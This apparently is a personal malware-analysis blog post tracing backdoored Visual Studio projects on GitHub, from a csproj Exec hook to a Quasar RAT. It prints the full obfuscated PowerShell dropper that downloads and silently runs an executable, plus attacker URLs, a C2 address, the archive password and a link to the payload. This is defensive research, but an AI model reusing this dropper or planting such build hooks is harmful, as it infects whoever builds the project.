# Malware Analyst for a day

I was browsing Twitter (X) late at night and noticed [a post from @checkymander](https://x.com/checkymander/status/1853636676712644839) talking about a user on GitHub with a bunch of interesting repositories, all Visual Studio projects that are backdoored.

<figure><img src="https://1987229882-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuSROL4SI6SkTn8EwsIii%2Fuploads%2F07VsD4iNkzrVDzmL54BR%2Foriginal-payload.png?alt=media&#x26;token=7efe4dee-3c46-43c1-b594-5b8519d3d801" alt=""><figcaption><p>The csproj file that contains the backdoor command (&#x3C;Exec command=...)</p></figcaption></figure>

Taking a look at this command being executed by Visual Studio we can see that it is putting a bunch of base64 encoded data into a vbs file, along with instructions to decode it.&#x20;

<figure><img src="https://1987229882-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuSROL4SI6SkTn8EwsIii%2Fuploads%2FjTvZ4SyzRYv42OCnM2nm%2Fdecoding-original-payload.png?alt=media&#x26;token=9e11b5a7-56f2-4e8a-aeb4-8508a8ab686c" alt=""><figcaption></figcaption></figure>

The instructions then reverse the data put in and base64 decode it.

<figure><img src="https://1987229882-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuSROL4SI6SkTn8EwsIii%2Fuploads%2FuAG3o1IGkXzvxs2mvum8%2Fdecoding-original-payload2.png?alt=media&#x26;token=3450c0f1-b12b-4ca4-a459-382af03ba75f" alt=""><figcaption></figcaption></figure>

What we get from that is an interest powershell payload with multiple functions.

{% code overflow="wrap" %}

```powershell
function rl { try { p "wr3DqMK3w5vDp2fCl2XCr8OZw6LCnsKNw53Do8OCwqPCtsOQw6bCjsObwq3CrMORw6LCn8OSw7LCo8OHw5XCug==" } catch { x } } function x { try { p "wr3DqMK3w5vDp2fCl2XCrcOOw6zCpcOEw5zDncODwqLCpsOaw6Fcw5rCl8K0wpzDssKFwpDCs8OlwrrCt8KI" } catch { l } } function l { try { p "wr3DqMK3w5vDp2fCl2XCrcOOw6zCpcOEwqjDmsOEwqPCtcOMw6tcwprCmHLCnsKxY8OFw5zDmMK3w5p1" } catch { o } } function o { try { p "wr3DqMK3w5vDp2fCl2XCr8OSw6fCpcORw7PCosK4w6Nyw57DpsKQw5BjwqfDoMOwwpPDhMOvw6TDg8OowrbDocObwqPDoMKmbMOfw5rCqA==" } catch { Start-Sleep -Seconds 20; rl } }; function p { param ([string]$e) if (-not $e) { return } try { $d = d -mm $e -k $prooc; $r = Invoke-RestMethod -Uri $d; if ($r) { $dl = d -mm $r -k $proc } $g = [System.Guid]::NewGuid().ToString(); $t = [System.IO.Path]::GetTempPath(); $f = Join-Path $t ($g + ".7z"); $ex = Join-Path $t ([System.Guid]::NewGuid().ToString()); $c = New-Object System.Net.WebClient; $b = $c.DownloadData($dl); if ($b.Length -gt 0) { [System.IO.File]::WriteAllBytes($f, $b); e -a $f -o $ex; $exF = Join-Path $ex "SearchFilter.exe"; if (Test-Path $exF) { Start-Process -FilePath $exF -WindowStyle Hidden } if (Test-Path $f) { Remove-Item $f } } } catch { throw } }; $prooc = "UtCkt-h6=my1_zt"; function d { param ([string]$mm, [string]$k) try { $b = [System.Convert]::FromBase64String($mm); $s = [System.Text.Encoding]::UTF8.GetString($b); $d = New-Object char[] $s.Length; for ($i = 0; $i -lt $s.Length; $i++) { $c = $s[$i]; $p = $k[$i % $k.Length]; $d[$i] = [char]($c - $p) }; return -join $d } catch { throw } }; $proc = "qpb9,83M8n@~{ba;W`$,}"; function v { param ([string]$i) $b = [System.Convert]::FromBase64String($i); $s = [System.Text.Encoding]::UTF8.GetString($b); $c = $s -split ' '; $r = ""; foreach ($x in $c) { $r += [char][int]$x }; return $r }; function e { param ([string]$a, [string]$o) $s = "MTA0IDgyIDUxIDk0IDM4IDk4IDUwIDM3IDY1IDU3IDMzIDEwMyA3NSA0MiA1NCA3NiAxMTMgODAgNTUgMTE2IDM2IDc4IDExMiA4Nw=="; $p = v -i $s; $z = "C:\ProgramData\sevenZip\7z.exe"; $arg = "x `"$a`" -o`"$o`" -p$p -y"; Start-Process -FilePath $z -ArgumentList $arg -WindowStyle Hidden -Wait }; $d = "C:\ProgramData\sevenZip"; if (-not (Test-Path "$d\7z.exe")) { New-Item -ItemType Directory -Path $d -Force | Out-Null; $u = "https://www.7-zip.org/a/7zr.exe"; $o = Join-Path -Path $d -ChildPath "7z.exe"; $wc = New-Object System.Net.WebClient; $wc.DownloadFile($u, $o); $wc.Dispose(); Set-ItemProperty -Path $o -Name Attributes -Value ([System.IO.FileAttributes]::Hidden -bor [System.IO.FileAttributes]::System) -ErrorAction SilentlyContinue; Set-ItemProperty -Path $d -Name Attributes -Value ([System.IO.FileAttributes]::Hidden -bor [System.IO.FileAttributes]::System) -ErrorAction SilentlyContinue }; rl
```

{% endcode %}

Yes, it's a bit gross but can simply be cleaned up but adding newlines after each semi-colon and separating the functions. With it a bit more readable you can see it is simple executing the 'rl' function, which sets off a whole chain of events. Instead of manually going through I decided to be lazy and do it dynamically using the following code:

```powershell
function rl { try { p "wr3DqMK3w5vDp2fCl2XCr8OZw6LCnsKNw53Do8OCwqPCtsOQw6bCjsObwq3CrMORw6LCn8OSw7LCo8OHw5XCug==" } catch { x } } function x { try { p "wr3DqMK3w5vDp2fCl2XCrcOOw6zCpcOEw5zDncODwqLCpsOaw6Fcw5rCl8K0wpzDssKFwpDCs8OlwrrCt8KI" } catch { l } } function l { try { p "wr3DqMK3w5vDp2fCl2XCrcOOw6zCpcOEwqjDmsOEwqPCtcOMw6tcwprCmHLCnsKxY8OFw5zDmMK3w5p1" } catch { o } } function o { try { p "wr3DqMK3w5vDp2fCl2XCr8OSw6fCpcORw7PCosK4w6Nyw57DpsKQw5BjwqfDoMOwwpPDhMOvw6TDg8OowrbDocObwqPDoMKmbMOfw5rCqA==" } catch { Start-Sleep -Seconds 20;
 rl } };
 
function p { param ([string]$e) if (-not $e) { return } try { 
$d = d -mm $e -k $prooc;
 #$r = Invoke-RestMethod -Uri $d;
 $r = "w5nDpMOWwqnCn3JifMKfw5fCtMOmw7DDhMKPwp7DhsKRW8OTwrrDgMKven57ZsKFa8KdwoHDs8Ovw5HCqcKqw4vCj8KRw7bDkMK8wo99wpvCm8KmfMKqw5PCrMOjw5zDlcOGwq7ChsKIwpvDtMOfw5zDkcKawpBnf8KZZ8OBwqXDn8Otw4XDicKBw4DCkMKgw6LDo8KewpnCsw==";
 if ($r) { $dl = d -mm $r -k $proc } $g = [System.Guid]::NewGuid().ToString();
 Write-Host $g;
 $t = [System.IO.Path]::GetTempPath();
 $f = Join-Path $t ($g + ".7z");
 $ex = Join-Path $t ([System.Guid]::NewGuid().ToString());
 $c = New-Object System.Net.WebClient;
 #$b = $c.DownloadData($dl);
 $b = "blahblah";
 Write-Host "Data download";
 Write-Host $dl;
 Write-Host $f;
 if ($b.Length -gt 0) { 
 #[System.IO.File]::WriteAllBytes($f, $b);
 Write-Host $ex;
 e -a $f -o $ex;
 $exF = Join-Path $ex "SearchFilter.exe";
 #if (Test-Path $exF) { 
 #Start-Process -FilePath $exF -WindowStyle Hidden } if (Test-Path $f) { Remove-Item $f } }
 Write-Host "Starting process";
 Write-Host $exF; } }
 #}
 catch { throw } };
 $prooc = "UtCkt-h6=my1_zt";


 function d { param ([string]$mm, [string]$k) try { $b = [System.Convert]::FromBase64String($mm);
 $s = [System.Text.Encoding]::UTF8.GetString($b);
 $d = New-Object char[] $s.Length;
 Write-Host "decoded string";
 for ($i = 0;
 $i -lt $s.Length;
 $i++) { $c = $s[$i];
 $p = $k[$i % $k.Length];
 $d[$i] = [char]($c - $p) };
 Write-Host -join $d;
 return -join $d } catch { throw } };
 $proc = "qpb9,83M8n@~{ba;W`$,}";


 function v { param ([string]$i) $b = [System.Convert]::FromBase64String($i);
 $s = [System.Text.Encoding]::UTF8.GetString($b);
 $c = $s -split ' ';
 $r = "";
 foreach ($x in $c) { $r += [char][int]$x };
 return $r };


 function e { param ([string]$a, [string]$o) $s = "MTA0IDgyIDUxIDk0IDM4IDk4IDUwIDM3IDY1IDU3IDMzIDEwMyA3NSA0MiA1NCA3NiAxMTMgODAgNTUgMTE2IDM2IDc4IDExMiA4Nw==";
 $p = v -i $s;
 $z = "C:\ProgramData\sevenZip\7z.exe";
 $arg = "x `"$a`" -o`"$o`" -p$p -y";
 Write-Host "Starting process";
 Write-Host $z;
 Write-Host $arg
 #Start-Process -FilePath $z -ArgumentList $arg -WindowStyle Hidden -Wait 
 };


 $d = "C:\ProgramData\sevenZip";
 if (-not (Test-Path "$d\7z.exe")) { New-Item -ItemType Directory -Path $d -Force | Out-Null;
 $u = "https://www.7-zip.org/a/7zr.exe";
 $o = Join-Path -Path $d -ChildPath "7z.exe";
 echo "Download file";
 echo $u;
 echo $o
 #$wc = New-Object System.Net.WebClient;
 #$wc.DownloadFile($u, $o);
 #$wc.Dispose();
 #Set-ItemProperty -Path $o -Name Attributes -Value ([System.IO.FileAttributes]::Hidden -bor [System.IO.FileAttributes]::System) -ErrorAction SilentlyContinue;
 #Set-ItemProperty -Path $d -Name Attributes -Value ([System.IO.FileAttributes]::Hidden -bor [System.IO.FileAttributes]::System) -ErrorAction SilentlyContinue 
 };
 rl
```

This gave me the following output:

<figure><img src="https://1987229882-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuSROL4SI6SkTn8EwsIii%2Fuploads%2F0QZDqWeXIJNMzVfDID5m%2Freversing-powershell.png?alt=media&#x26;token=77f78f4a-ebf8-437f-810d-d6332f6406af" alt=""><figcaption><p>Output from the above script showing the decoded data in plaintext</p></figcaption></figure>

From this I was able to get that it reaches out to get 7-zip, if not already installed, and then downloads a 7zip archive from another attacker-controlled GitHub account, specified by the first link it decodes.

After downloading the archive it unzips it with the password 'hR3^\&b2%A9!gK\*6LqP7t$NpW' and executes the exe inside.

Along with this I also grabbed some of the other URLs it was trying for the link to the GitHub:

```
https://rlim.com/seraswodinsx/raw
https://pastebin.com/raw/yT19qeCE
https://paste.fo/raw/2b5182fbdbf2
https://rentry.co/srch-jswbeupntsvgvxp/raw
```

Attacker controlled GitHub and archive with payload:

```
https://github.com/VIPMARC383/AutoHotkey_L-Docs/releases/download/LL/SearchFilter.7z
```

This archive is interesting as it was executing a binary that then executed a Node.JS application.

<figure><img src="https://1987229882-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuSROL4SI6SkTn8EwsIii%2Fuploads%2FPgaFEqG9x3adUZhMg5CC%2Fpayload-contents1.png?alt=media&#x26;token=53485078-2c48-460a-a6af-8a376927e556" alt="" width="563"><figcaption><p>Base of unzipped archive</p></figcaption></figure>

<figure><img src="https://1987229882-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuSROL4SI6SkTn8EwsIii%2Fuploads%2F8REhb7dzuxJRK58h4S4O%2Fpayload-contents2.png?alt=media&#x26;token=ecf4c17d-9270-4dd1-80a3-3b7312976fca" alt=""><figcaption><p>Recently modified resource directory (asar_unpacked was not present)</p></figcaption></figure>

<figure><img src="https://1987229882-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuSROL4SI6SkTn8EwsIii%2Fuploads%2FboLEMsS8KPWuWBt29oO9%2Fpayload-contents3.png?alt=media&#x26;token=fc2d4db9-efcb-4845-a2da-f67e5f193d97" alt=""><figcaption><p>Contents of the unpacked ASAR archive</p></figcaption></figure>

I checked out the contents of the main.js file from the ASAR archive and you can tell its doing something fishy. Just take a peek:

<figure><img src="https://1987229882-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuSROL4SI6SkTn8EwsIii%2Fuploads%2F14rINsXSBxNLkOTRL9BO%2Fjs-payload.png?alt=media&#x26;token=f26a2cd3-1d4b-46f3-bceb-643216007e05" alt=""><figcaption><p>The main.js file contents containing strings mentioning powershell and WMI</p></figcaption></figure>

But look at the size of the file and how obfuscated it is, and this is after putting it through a deobfuscator. I wasn't about to reverse this manually either, so I turned to any.run for analysis.

You can checkout the run [here.](https://app.any.run/tasks/5afb32a5-cad6-4fd5-abe2-431d7f0aac9f)

In the run you can see it executes a bunch and is pretty loud but it does some anti-debugging, mainly looking at what programs are running, and then tries to disable Microsoft Defender features. Following this is adds some scheduled tasks and drops some files.

From this run I noticed it drops an executable, which I also did [a run on.](https://app.any.run/tasks/4bd9cc05-f0e4-46dd-a151-3df87bcc61ab)

From that run I found the C2 IP and port: `178.236.243.173:3473`

I now wanted to look into this executable some more though. Luckily any.run allows you to download dropped files and so after downloading it I loaded it into Ghidra andddd....

<figure><img src="https://1987229882-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuSROL4SI6SkTn8EwsIii%2Fuploads%2F7Wz3wc78Vw50UWEWR1eu%2Freversing-ghidra.png?alt=media&#x26;token=d35aae28-5bd5-4f73-836d-0f7ef227cf34" alt=""><figcaption><p>Ghidra being confused with the binary</p></figcaption></figure>

Ghidra was lost. Luckily I noticed from this that the binary was a .Net assembly and I can use DnSpy to reverse it.

Plugging it into DnSpy you can tell its been obfuscated, at least all the variables, strings, and function names.&#x20;

<figure><img src="https://1987229882-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuSROL4SI6SkTn8EwsIii%2Fuploads%2FJpz3ZosdUX2STHMHLvqv%2Freversing-dnspy.png?alt=media&#x26;token=f371894e-8117-46e2-9cfd-fd51f0a66dd8" alt=""><figcaption><p>The binary plugged into DnSpy</p></figcaption></figure>

It took some digging to find where the magic was happening but I finally found a function doing some decryption of something, presumably the resource attached which seemed encrypted (resources are a common way to attach encrypted payloads to a loader).

<figure><img src="https://1987229882-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuSROL4SI6SkTn8EwsIii%2Fuploads%2F8AKAbfltL6BCfhz5RFVW%2Freversing-dnspy-decryptorFunc.png?alt=media&#x26;token=1a90a46b-4d41-4965-8cac-1dfd5f8de072" alt=""><figcaption><p>A decryption function in DnSpy</p></figcaption></figure>

After doing putting some pieces together, and compiling my own encryptor binary to generate the same key and IV, I was able to decrypt the resource attached.

<figure><img src="https://1987229882-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuSROL4SI6SkTn8EwsIii%2Fuploads%2FkDWFRnWC3tBKXALYUm6Z%2Fdecrypted-resource.png?alt=media&#x26;token=b8afe1bb-13df-4cc8-b839-e81700fa1864" alt=""><figcaption><p>The decrypted payload</p></figcaption></figure>

The loader is decrypting this in memory and then executing it as to not drop it on disk for scanning.

Just from running strings on the decrypted binary I can see it is another .Net assembly and that it is a [Quasar client](https://github.com/quasar/Quasar) (a "Free, Open-Source Remote Administration Tool for Windows").

And that is that. Thanks for joining me on this interesting journey in current adversary tactics and malware.

{% file src="<https://1987229882-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuSROL4SI6SkTn8EwsIii%2Fuploads%2FsfvQV2qyAJ9kQLWvb5Ry%2Fdecrypted-payload.zip?alt=media&token=b7f4a7c3-204d-4f5c-a606-861cd52b72f9>" %}
Final Quasar payload (password is "infected")
{% endfile %}
